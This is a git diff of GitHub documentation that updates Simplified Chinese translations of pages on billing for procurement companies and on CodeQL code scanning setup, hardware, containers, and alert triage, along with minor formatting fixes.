-We don't provide quotes for organization pricing. You can see our published pricing for [organizations](https://github.com/pricing) and [Git Large File Storage](/articles/about-storage-and-bandwidth-usage/). We do not provide discounts for procurement companies or for renewal orders.
+## 组织的付款和定价
 
-We accept payment in US dollars, although end users may be located anywhere in the world.
+我们不对组织定价提供报价。 您可以查看我们为[组织](https://github.com/pricing)和 [Git Large File Storage](/articles/about-storage-and-bandwidth-usage/) 发布的定价。 我们不对采购公司或续订订单提供折扣。
 
-We accept payment by credit card and PayPal. We don't accept payment by purchase order or invoice.
+虽然最终用户可能位于世界各地，但我们接受美元付款。
 
-For easier and more efficient purchasing, we recommend that procurement companies set up yearly billing for their clients' organizations.
+我们接受信用卡和 PayPal 付款， 不接受采购单或发票付款。
 
-## Further reading
+为提高购买的简便性和效率，我们建议采购公司为其客户的组织设置年度帐单。
 
-- "[Creating and paying for an organization on behalf of a client](/articles/creating-and-paying-for-an-organization-on-behalf-of-a-client)"
-- "[Upgrading or downgrading your client's paid organization](/articles/upgrading-or-downgrading-your-client-s-paid-organization)"
-- "[Renewing your client's paid organization](/articles/renewing-your-client-s-paid-organization)"
+## 延伸阅读
+
+- "[代客户创建并支付组织](/articles/creating-and-paying-for-an-organization-on-behalf-of-a-client)"
+- "[升级或降级客户的付费组织](/articles/upgrading-or-downgrading-your-client-s-paid-organization)"
+- "[续订客户的付费组织](/articles/renewing-your-client-s-paid-organization)"
diff --git a/translations/zh-CN/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md b/translations/zh-CN/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md
index 0b9fc6ffef..752d5e9d9d 100644
--- a/translations/zh-CN/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md
+++ b/translations/zh-CN/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md
@@ -1,7 +1,7 @@
 ---
-title: Setting up paid organizations for procurement companies
-shortTitle: Paid organizations for procurement companies
-intro: 'If you pay for {% data variables.product.product_name %} on behalf of a client, you can configure their organization and payment settings to optimize convenience and security.'
+title: 为采购公司设置付费组织
+shortTitle: 采购公司的付费组织
+intro: '如果您代表客户为 {% data variables.product.product_name %} 支付，您可以配置其组织和支付设置，以优化便利性和安全性。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies
   - /articles/setting-up-and-paying-for-organizations-for-resellers
diff --git a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md
index fb05626d65..1510aef177 100644
--- a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md
+++ b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md
@@ -20,16 +20,16 @@ topics:
 {% data reusables.code-scanning.beta %}
 {% data reusables.code-scanning.enterprise-enable-code-scanning %}
 
-## About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}
+## 关于 {% data variables.product.prodname_code_scanning %} 与 {% data variables.product.prodname_codeql %}
 
 {% data reusables.code-scanning.about-codeql-analysis %}
 
 There are two main ways to use {% data variables.product.prodname_codeql %} analysis for {% data variables.product.prodname_code_scanning %}:
 
-- Add the {% data variables.product.prodname_codeql %} workflow to your repository. This uses the [github/codeql-action](https://github.com/github/codeql-action/) to run the {% data variables.product.prodname_codeql_cli %}. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)."
+- Add the {% data variables.product.prodname_codeql %} workflow to your repository. This uses the [github/codeql-action](https://github.com/github/codeql-action/) to run the {% data variables.product.prodname_codeql_cli %}. 更多信息请参阅“[为仓库设置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)”。
 - Run the {% data variables.product.prodname_codeql %} {% ifversion fpt or ghes > 3.1 or ghae or ghec %}CLI directly {% elsif ghes = 3.0 %}CLI or runner {% else %}runner {% endif %} in an external CI system and upload the results to {% data variables.product.prodname_dotcom %}. For more information, see "[About {% data variables.product.prodname_codeql %} code scanning in your CI system ](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)."
 
-## About {% data variables.product.prodname_codeql %}
+## 关于 {% data variables.product.prodname_codeql %}
 
 {% data variables.product.prodname_codeql %} treats code like data, allowing you to find potential vulnerabilities in your code with greater confidence than traditional static analyzers.
 
@@ -37,20 +37,20 @@ There are two main ways to use {% data variables.product.prodname_codeql %} anal
 2. Then you run {% data variables.product.prodname_codeql %} queries on that database to identify problems in the codebase.
 3. The query results are shown as {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.product_name %} when you use {% data variables.product.prodname_codeql %} with {% data variables.product.prodname_code_scanning %}.
 
-{% data variables.product.prodname_codeql %} supports both compiled and interpreted languages, and can find vulnerabilities and errors in code that's written in the supported languages.
+{% data variables.product.prodname_codeql %} 支持已编译和解译的语言，并且可在以支持的语言编写的代码中找到漏洞和错误。
 
 {% data reusables.code-scanning.codeql-languages-bullets %}
 
 ## About {% data variables.product.prodname_codeql %} queries
 
-{% data variables.product.company_short %} experts, security researchers, and community contributors write and maintain the default {% data variables.product.prodname_codeql %} queries used for {% data variables.product.prodname_code_scanning %}. The queries are regularly updated to improve analysis and reduce any false positive results. The queries are open source, so you can view and contribute to the queries in the [`github/codeql`](https://github.com/github/codeql) repository. For more information, see [{% data variables.product.prodname_codeql %}](https://securitylab.github.com/tools/codeql) on the GitHub Security Lab website. You can also write your own queries. For more information, see "[About {% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/about-codeql-queries/)" in the {% data variables.product.prodname_codeql %} documentation.
+{% data variables.product.company_short %} experts, security researchers, and community contributors write and maintain the default {% data variables.product.prodname_codeql %} queries used for {% data variables.product.prodname_code_scanning %}. The queries are regularly updated to improve analysis and reduce any false positive results. The queries are open source, so you can view and contribute to the queries in the [`github/codeql`](https://github.com/github/codeql) repository. 更多信息请参阅 GitHub Security Lab 网站上的 [{% data variables.product.prodname_codeql %}](https://securitylab.github.com/tools/codeql)。 You can also write your own queries. For more information, see "[About {% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/about-codeql-queries/)" in the {% data variables.product.prodname_codeql %} documentation.
 
-You can run additional queries as part of your code scanning analysis. 
+You can run additional queries as part of your code scanning analysis.
 
 {%- if codeql-packs %}
 These queries must belong to a published {% data variables.product.prodname_codeql %} query pack (beta) or a QL pack in a repository. {% data variables.product.prodname_codeql %} packs (beta) provide the following benefits over traditional QL packs:
 
-- When a {% data variables.product.prodname_codeql %} query pack (beta) is published to the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}, all the transitive dependencies required by the queries and a compilation cache are included in the package. This improves performance and ensures that running the queries in the pack gives identical results every time until you upgrade to a new version of the pack or the CLI. 
+- When a {% data variables.product.prodname_codeql %} query pack (beta) is published to the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}, all the transitive dependencies required by the queries and a compilation cache are included in the package. This improves performance and ensures that running the queries in the pack gives identical results every time until you upgrade to a new version of the pack or the CLI.
 - QL packs do not include transitive dependencies, so queries in the pack can depend only on the standard libraries (that is, the libraries referenced by an `import LANGUAGE` statement in your query), or libraries in the same QL pack as the query.
 
 For more information, see "[About {% data variables.product.prodname_codeql %} packs](https://codeql.github.com/docs/codeql-cli/about-codeql-packs/)" and "[About {% data variables.product.prodname_ql %} packs](https://codeql.github.com/docs/codeql-cli/about-ql-packs/)" in the {% data variables.product.prodname_codeql %} documentation.
@@ -58,5 +58,5 @@ For more information, see "[About {% data variables.product.prodname_codeql %} p
 {% data reusables.code-scanning.beta-codeql-packs-cli %}
 
 {%- else %}
-The queries you want to run must belong to a QL pack in a repository. Queries must only depend on the standard libraries (that is, the libraries referenced by an `import LANGUAGE` statement in your query), or libraries in the same QL pack as the query. For more information, see "[About {% data variables.product.prodname_ql %} packs](https://codeql.github.com/docs/codeql-cli/about-ql-packs/)."
+The queries you want to run must belong to a QL pack in a repository. Queries must only depend on the standard libraries (that is, the libraries referenced by an `import LANGUAGE` statement in your query), or libraries in the same QL pack as the query. 更多信息请参阅“[关于 {% data variables.product.prodname_ql %} 包](https://codeql.github.com/docs/codeql-cli/about-ql-packs/)”。
 {% endif %}
diff --git a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md
index 4ea514673d..78cd6ccd5b 100644
--- a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md
+++ b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md
@@ -1,6 +1,6 @@
 ---
-title: Recommended hardware resources for running CodeQL 
-shortTitle: Hardware resources for CodeQL 
+title: Recommended hardware resources for running CodeQL
+shortTitle: Hardware resources for CodeQL
 intro: 'Recommended specifications (RAM, CPU cores, and disk) for running {% data variables.product.prodname_codeql %} analysis on self-hosted machines, based on the size of your codebase.'
 product: '{% data reusables.gated-features.code-scanning %}'
 versions:
@@ -15,18 +15,18 @@ topics:
   - Repositories
   - Integration
   - CI
-
 ---
+
 You can set up {% data variables.product.prodname_codeql %} on {% data variables.product.prodname_actions %} or on an external CI system. {% data variables.product.prodname_codeql %} is fully compatible with {% data variables.product.prodname_dotcom %}-hosted runners on {% data variables.product.prodname_actions %}.
 
 If you're using an external CI system, or self-hosted runners on {% data variables.product.prodname_actions %} for private repositories, you're responsible for configuring your own hardware. The optimal hardware configuration for running {% data variables.product.prodname_codeql %} may vary based on the size and complexity of your codebase, the programming languages and build systems being used, and your CI workflow setup.
 
 The table below provides recommended hardware specifications for running {% data variables.product.prodname_codeql %} analysis, based on the size of your codebase. Use these as a starting point for determining your choice of hardware or virtual machine. A machine with greater resources may improve analysis performance, but may also be more expensive to maintain.
 
-| Codebase size | RAM | CPU |
-|--------|--------|--------|
-| Small (<100 K lines of code) | 8 GB or higher | 2 cores |
+| Codebase size                       | RAM             | CPU          |
+| ----------------------------------- | --------------- | ------------ |
+| Small (<100 K lines of code)        | 8 GB or higher  | 2 cores      |
 | Medium (100 K to 1 M lines of code) | 16 GB or higher | 4 or 8 cores |
-| Large (>1 M lines of code) | 64 GB or higher | 8 cores |
+| Large (>1 M lines of code)          | 64 GB or higher | 8 cores      |
 
 For all codebase sizes, we recommend using an SSD with 14 GB or more of disk space. There must be enough disk space to check out and build your code, plus additional space for data produced by {% data variables.product.prodname_codeql %}.
diff --git a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md
index a5315a96bc..e367df67c2 100644
--- a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md
+++ b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md
@@ -1,7 +1,7 @@
 ---
-title: Running CodeQL code scanning in a container
-shortTitle: '{% data variables.product.prodname_code_scanning_capc %} in a container'
-intro: 'You can run {% data variables.product.prodname_code_scanning %} in a container by ensuring that all processes run in the same container.'
+title: 在容器中运行 CodeQL 代码扫描
+shortTitle: '容器中的 {% data variables.product.prodname_code_scanning_capc %}'
+intro: '通过确保所有进程都在同一容器中运行，您可以在容器中运行 {% data variables.product.prodname_code_scanning %}。'
 product: '{% data reusables.gated-features.code-scanning %}'
 redirect_from:
   - /github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-a-container
@@ -22,32 +22,33 @@ topics:
   - Containers
   - Java
 ---
+
 <!--For this article in earlier GHES versions, see /content/github/finding-security-vulnerabilities-and-errors-in-your-code-->
 
 {% data reusables.code-scanning.beta %}
 {% data reusables.code-scanning.deprecation-codeql-runner %}
 
-## About {% data variables.product.prodname_code_scanning %} with a containerized build
+## 关于使用容器化构建的 {% data variables.product.prodname_code_scanning %}
 
-If you're setting up {% data variables.product.prodname_code_scanning %} for a compiled language, and you're building the code in a containerized environment, the analysis may fail with the error message "No source code was seen during the build." This indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code as it was compiled.
+如果为编译语言设置 {% data variables.product.prodname_code_scanning %}，并且在容器化环境中构建代码，则分析可能会失败，并返回错误消息“No source code was seen during the build（在构建过程中没有看到源代码）”。 这表明 {% data variables.product.prodname_codeql %} 在代码编译过程中无法监视代码。
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-You must run {% data variables.product.prodname_codeql %} inside the container in which you build your code. This applies whether you are using the {% data variables.product.prodname_codeql_cli %}, the {% data variables.product.prodname_codeql_runner %}, or {% data variables.product.prodname_actions %}. For the {% data variables.product.prodname_codeql_cli %} or the {% data variables.product.prodname_codeql_runner %}, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)" or "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)" for more information. If you're using {% data variables.product.prodname_actions %}, configure your workflow to run all the actions in the same container. For more information, see "[Example workflow](#example-workflow)."
+您必须在构建代码的容器中运行 {% data variables.product.prodname_codeql %}。 无论您使用的是 {% data variables.product.prodname_codeql_cli %}、{% data variables.product.prodname_codeql_runner %} 还是 {% data variables.product.prodname_actions %}，这都适用。 对于 {% data variables.product.prodname_codeql_cli %} 或 {% data variables.product.prodname_codeql_runner %}，请参阅“[在 CI 系统中安装 {% data variables.product.prodname_codeql_cli %}](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)”或“[在 CI 系统中运行 {% data variables.product.prodname_codeql_runner %}](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)”以了解更多信息。 如果您使用 {% data variables.product.prodname_actions %}，请配置工作流程以在同一容器中运行所有操作。 更多信息请参阅“[示例工作流程](#example-workflow)”。
 {% else %}
-You must run {% data variables.product.prodname_codeql %} inside the container in which you build your code. This applies whether you are using the {% data variables.product.prodname_codeql_runner %} or {% data variables.product.prodname_actions %}. For the {% data variables.product.prodname_codeql_runner %}, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)" for more information. If you're using {% data variables.product.prodname_actions %}, configure your workflow to run all the actions in the same container. For more information, see "[Example workflow](#example-workflow)."
+您必须在构建代码的容器中运行 {% data variables.product.prodname_codeql %}。 无论您使用的是 {% data variables.product.prodname_codeql_runner %} 还是 {% data variables.product.prodname_actions %}，这都适用。 对于 {% data variables.product.prodname_codeql_runner %}，请参阅“[在 CI 系统中运行 {% data variables.product.prodname_codeql_runner %}](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)”以了解更多信息。 如果您使用 {% data variables.product.prodname_actions %}，请配置工作流程以在同一容器中运行所有操作。 更多信息请参阅“[示例工作流程](#example-workflow)”。
 {% endif %}
 
-## Dependencies
+## 依赖项
 
-You may have difficulty running {% data variables.product.prodname_code_scanning %} if the container you're using is missing certain dependencies (for example, Git must be installed and added to the PATH variable). If you encounter dependency issues, review the list of software typically included on {% data variables.product.prodname_dotcom %}'s virtual environments. For more information, see the version-specific `readme` files in these locations:
+如果您使用的容器缺少某些依赖项（例如，Git 必须安装并添加到 PATH 变量），您可能难以运行 {% data variables.product.prodname_code_scanning %}。 如果遇到依赖项问题，请查看通常包含在 {% data variables.product.prodname_dotcom %} 虚拟环境中的软件列表。 有关更多信息，请在以下位置查看特定于版本的 `readme` 文件：
 
 * Linux: https://github.com/actions/virtual-environments/tree/main/images/linux
 * macOS: https://github.com/actions/virtual-environments/tree/main/images/macos
 * Windows: https://github.com/actions/virtual-environments/tree/main/images/win
 
-## Example workflow
+## 示例工作流程
 
-This sample workflow uses {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_codeql %} analysis in a containerized environment. The value of `container.image` identifies the container to use. In this example the image is named `codeql-container`, with a tag of `f0f91db`. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)."
+此示例工作流程在容器化环境中使用 {% data variables.product.prodname_actions %} 运行 {% data variables.product.prodname_codeql %} 分析。 `container.image` 的值标识要要使用的容器。 在此示例中，映像名称为 `codeql-container`，标记为 `f0f91db`。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)”。
 
 ``` yaml
 name: "{% data variables.product.prodname_codeql %}"
diff --git a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md
index c1ea916c94..8bf8ca6ec5 100644
--- a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md
+++ b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md
@@ -26,7 +26,7 @@ topics:
 You can also create a new issue to track an alert:
 - From a {% data variables.product.prodname_code_scanning %} alert, which automatically adds the code scanning alert to a task list in the new issue. For more information, see "[Creating a tracking issue from a {% data variables.product.prodname_code_scanning %} alert](#creating-a-tracking-issue-from-a-code-scanning-alert)" below.
 
-- Via the API as you normally would, and then provide the code scanning link within the body of the issue. You must use the task list syntax to create the tracked relationship: 
+- Via the API as you normally would, and then provide the code scanning link within the body of the issue. You must use the task list syntax to create the tracked relationship:
    - `- [ ] <full-URL- to-the-code-scanning-alert>`
    - For example, if you add `- [ ] https://github.com/octocat-org/octocat-repo/security/code-scanning/17` to an issue, the issue will track the code scanning alert that has an ID number of 17 in the "Security" tab of the `octocat-repo` repository in the `octocat-org` organization.
 
@@ -39,18 +39,18 @@ You can use more than one issue to track the same {% data variables.product.prod
 
   ![Tracked in pill on code scanning alert page](/assets/images/help/repository/code-scanning-alert-list-tracked-issues.png)
 
-- A "tracked in" section will also show in the corresponding alert page. 
+- A "tracked in" section will also show in the corresponding alert page.
 
   ![Tracked in section on code scanning alert page](/assets/images/help/repository/code-scanning-alert-tracked-in-pill.png)
 
-- On the tracking issue, {% data variables.product.prodname_dotcom %} displays a security badge icon in the task list and on the hovercard. 
-  
+- On the tracking issue, {% data variables.product.prodname_dotcom %} displays a security badge icon in the task list and on the hovercard.
+
   {% note %}
 
   Only users with write permissions to the repository will see the unfurled URL to the alert in the issue, as well as the hovercard. For users with read permissions to the repository, or no permissions at all, the alert will appear as a plain URL.
 
   {% endnote %}
-  
+
   The color of the icon is grey because an alert has a status of "open" or "closed" on every branch. The issue tracks an alert, so the alert cannot have a single open/closed state in the issue. If the alert is closed on one branch, the icon color will not change.
 
   ![Hovercard in tracking issue](/assets/images/help/repository/code-scanning-tracking-issue-hovercard.png)
@@ -64,14 +64,13 @@ The status of the tracked alert won't change if you change the checkbox state of
 {% data reusables.repositories.sidebar-code-scanning-alerts %}
 {% ifversion fpt or ghes or ghae %}
 {% data reusables.code-scanning.explore-alert %}
-1. Optionally, to find the alert to track, you can use the free-text search or the drop-down menus to filter and locate the alert. For more information, see "[Managing code scanning alerts for your repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-code-scanning-alerts)."
+1. Optionally, to find the alert to track, you can use the free-text search or the drop-down menus to filter and locate the alert. 更多信息请参阅“[管理仓库的代码扫描警报](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-code-scanning-alerts)”。
 {% endif %}
-1. Towards the top of the page, on the right side, click **Create issue**. 
-   ![Create a tracking issue for the code scanning alert](/assets/images/help/repository/code-scanning-create-issue-for-alert.png)
+1. Towards the top of the page, on the right side, click **Create issue**. ![Create a tracking issue for the code scanning alert](/assets/images/help/repository/code-scanning-create-issue-for-alert.png)
    {% data variables.product.prodname_dotcom %} automatically creates an issue to track the alert and adds the alert as a task list item.
    {% data variables.product.prodname_dotcom %} prepopulates the issue:
    - The title contains the name of the {% data variables.product.prodname_code_scanning %} alert.
-   - The body contains the task list item with the full URL to the {% data variables.product.prodname_code_scanning %} alert. 
+   - The body contains the task list item with the full URL to the {% data variables.product.prodname_code_scanning %} alert.
 2. Optionally, edit the title and the body of the issue.
    {% warning %}
 
diff --git a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md
index 8b4a6464af..e1fcdc303e 100644
--- a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md
+++ b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md
@@ -1,7 +1,7 @@
 ---
-title: Triaging code scanning alerts in pull requests
-shortTitle: Triage alerts in pull requests
-intro: 'When {% data variables.product.prodname_code_scanning %} identifies a problem in a pull request, you can review the highlighted code and resolve the alert.'
+title: 鉴定拉取请求中的代码扫描警报
+shortTitle: 分类拉取请求中的警报
+intro: '当 {% data variables.product.prodname_code_scanning %} 在拉取请求中发现问题时，您可以审查高亮的代码并解决警报。'
 product: '{% data reusables.gated-features.code-scanning %}'
 permissions: 'If you have read permission for a repository, you can see annotations on pull requests. With write permission, you can see detailed information and resolve {% data variables.product.prodname_code_scanning %} alerts for that repository.'
 redirect_from:
@@ -21,28 +21,29 @@ topics:
   - Alerts
   - Repositories
 ---
+
 <!--For this article in earlier GHES versions, see /content/github/finding-security-vulnerabilities-and-errors-in-your-code-->
 
 {% data reusables.code-scanning.beta %}
 
-## About {% data variables.product.prodname_code_scanning %} results on pull requests
+## 关于拉取请求上的 {% data variables.product.prodname_code_scanning %} 结果
 
-In repositories where {% data variables.product.prodname_code_scanning %} is configured as a pull request check, {% data variables.product.prodname_code_scanning %} checks the code in the pull request. By default, this is limited to pull requests that target the default branch, but you can change this configuration within {% data variables.product.prodname_actions %} or in a third-party CI/CD system. If merging the changes would introduce new {% data variables.product.prodname_code_scanning %} alerts to the target branch, these are reported as check results in the pull request. The alerts are also shown as annotations in the **Files changed** tab of the pull request. If you have write permission for the repository, you can see any existing {% data variables.product.prodname_code_scanning %} alerts on the **Security** tab. For information about repository alerts, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)."
+在仓库中，如果 {% data variables.product.prodname_code_scanning %} 被配置为拉取请求检查，则 {% data variables.product.prodname_code_scanning %} 将检查拉取请求中的代码。 默认情况下，这仅限于针对默认分支的拉取请求，但是您可以在 {% data variables.product.prodname_actions %} 或第三方 CI/CD 系统中更改此配置。 如果合并分支给目标分支带来新的 {% data variables.product.prodname_code_scanning %} 警报，这些警报将在拉取请求中被报告为检查结果。 警报还将在拉取请求的 **Files changed（文件已更改）**选项卡中显示为注释。 如果您拥有仓库的写入权限，您可以在 **Security（安全）**选项卡中查看任何现有的 {% data variables.product.prodname_code_scanning %} 警报。 有关仓库警报的更多信息，请参阅“[管理仓库的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)”。
 {% ifversion fpt or ghes > 3.2 or ghae-issue-5093 or ghec %}
 In repositories where {% data variables.product.prodname_code_scanning %} is configured to scan each time code is pushed, {% data variables.product.prodname_code_scanning %} will also map the results to any open pull requests and add the alerts as annotations in the same places as other pull request checks. For more information, see "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)."
 {% endif %}
 
-If your pull request targets a protected branch that uses {% data variables.product.prodname_code_scanning %}, and the repository owner has configured required status checks, then the "{% data variables.product.prodname_code_scanning_capc %} results" check must pass before you can merge the pull request. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)."
+If your pull request targets a protected branch that uses {% data variables.product.prodname_code_scanning %}, and the repository owner has configured required status checks, then the "{% data variables.product.prodname_code_scanning_capc %} results" check must pass before you can merge the pull request. 更多信息请参阅“[关于受保护分支](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)”。
 
-## About {% data variables.product.prodname_code_scanning %} as a pull request check
+## 关于 {% data variables.product.prodname_code_scanning %} 作为拉取请求检查
 
-There are many options for configuring {% data variables.product.prodname_code_scanning %} as a pull request check, so the exact setup of each repository will vary and some will have more than one check. 
+有许多选项可将 {% data variables.product.prodname_code_scanning %} 配置为拉取请求检查，因此每个仓库的确切设置会有所不同，有些仓库还会有多个检查。
 
 ### {% data variables.product.prodname_code_scanning_capc %} results check
 
-For all configurations of {% data variables.product.prodname_code_scanning %}, the check that contains the results of {% data variables.product.prodname_code_scanning %} is: **{% data variables.product.prodname_code_scanning_capc %} results**. The results for each analysis tool used are shown separately. Any new alerts caused by changes in the pull request are shown as annotations. 
+For all configurations of {% data variables.product.prodname_code_scanning %}, the check that contains the results of {% data variables.product.prodname_code_scanning %} is: **{% data variables.product.prodname_code_scanning_capc %} results**. The results for each analysis tool used are shown separately. Any new alerts caused by changes in the pull request are shown as annotations.
 
-{% ifversion fpt or ghes > 3.2 or ghae-issue-4902 or ghec %} To see the full set of alerts for the analyzed branch, click **View all branch alerts**. This opens the full alert view where you can filter all the alerts on the branch by type, severity, tag, etc. For more information, see "[Managing code scanning alerts for your repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-and-searching-for-code-scanning-alerts)."
+{% ifversion fpt or ghes > 3.2 or ghae-issue-4902 or ghec %} To see the full set of alerts for the analyzed branch, click **View all branch alerts**. This opens the full alert view where you can filter all the alerts on the branch by type, severity, tag, etc. 更多信息请参阅“[管理仓库的代码扫描警报](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-and-searching-for-code-scanning-alerts)”。
 
 ![{% data variables.product.prodname_code_scanning_capc %} results check on a pull request](/assets/images/help/repository/code-scanning-results-check.png)
 {% endif %}
@@ -51,45 +52,45 @@ For all configurations of {% data variables.product.prodname_code_scanning %}, t
 
 If the {% data variables.product.prodname_code_scanning %} results check finds any problems with a severity of `error`{% ifversion fpt or ghes > 3.1  or ghae or ghec %}, `critical`, or `high`,{% endif %} the check fails and the error is reported in the check results. If all the results found by {% data variables.product.prodname_code_scanning %} have lower severities, the alerts are treated as warnings or notes and the check succeeds.
 
-![Failed {% data variables.product.prodname_code_scanning %} check on a pull request](/assets/images/help/repository/code-scanning-check-failure.png)
+![拉取请求上失败的 {% data variables.product.prodname_code_scanning %} 检查](/assets/images/help/repository/code-scanning-check-failure.png)
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}You can override the default behavior in your repository settings, by specifying the level of severities {% ifversion fpt or ghes > 3.1  or ghae or ghec %}and security severities {% endif %}that will cause a pull request check failure. For more information, see "[Defining the severities causing pull request check failure](/code-security/secure-coding/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)".
 {% endif %}
 
 ### Other {% data variables.product.prodname_code_scanning %} checks
 
-Depending on your configuration, you may see additional checks running on pull requests with {% data variables.product.prodname_code_scanning %} configured. These are usually workflows that analyze the code or that upload {% data variables.product.prodname_code_scanning %} results. These checks are useful for troubleshooting when there are problems with the analysis. 
+Depending on your configuration, you may see additional checks running on pull requests with {% data variables.product.prodname_code_scanning %} configured. These are usually workflows that analyze the code or that upload {% data variables.product.prodname_code_scanning %} results. These checks are useful for troubleshooting when there are problems with the analysis.
 
-For example, if the repository uses the {% data variables.product.prodname_codeql_workflow %} a **{% data variables.product.prodname_codeql %} / Analyze (LANGUAGE)** check is run for each language before the results check runs. The analysis check may fail if there are configuration problems, or if the pull request breaks the build for a language that the analysis needs to compile (for example, C/C++, C#, or Java). 
+For example, if the repository uses the {% data variables.product.prodname_codeql_workflow %} a **{% data variables.product.prodname_codeql %} / Analyze (LANGUAGE)** check is run for each language before the results check runs. 如果存在配置问题，或者拉取请求中断了分析需要编译的语言（例如 C/C ++、C# 或 Java）的构建，则分析检查可能会失败。
 
